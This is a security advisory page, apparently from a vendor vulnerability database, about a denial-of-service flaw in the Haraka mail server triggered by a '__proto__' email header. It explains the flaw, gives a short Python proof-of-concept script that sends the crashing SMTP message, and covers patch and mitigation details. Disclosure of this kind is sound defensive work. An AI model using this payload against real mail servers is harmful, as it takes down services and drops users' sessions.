GHSA-xph3-r2jf-4vp3 — Haraka
HIGHGHSA-xph3-r2jf-4vp3 is a high-severity (CVSS 7.5) CWE-248 vulnerability in Haraka. A fix is available for Haraka — see the affected versions and patch details below.
Haraka affected by DoS via `__proto__` email header
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xph3-r2jf-4vp3.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xph3-r2jf-4vp3 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
HarakanpmDescription
Summary
Sending an email with __proto__: as a header name crashes the Haraka worker process.
Details
The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:
_add_header(key, value, method) {
this.headers[key] ??= [] // line 216
this.headers[key][method](value) // line 217
}
When key is __proto__:
this.headers['__proto__']returnsObject.prototype(the prototype getter)Object.prototypeis not null/undefined, so??=is skippedObject.prototype.push(value)throwsTypeError: not a function
The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):
process.on('uncaughtException', (err) => {
if (err.stack) {
err.stack.split('\n').forEach((line) => logger.crit(line))
} else {
logger.crit(`Caught exception: ${JSON.stringify(err)}`)
}
logger.dump_and_exit(1)
})
PoC
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")
Impact
In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | Haraka | all versions | 3.1.4npm install Haraka@3.1.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Haraka, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update Haraka to 3.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xph3-r2jf-4vp3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xph3-r2jf-4vp3 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xph3-r2jf-4vp3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xph3-r2jf-4vp3 in your dependencies?
O3 Security finds GHSA-xph3-r2jf-4vp3 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.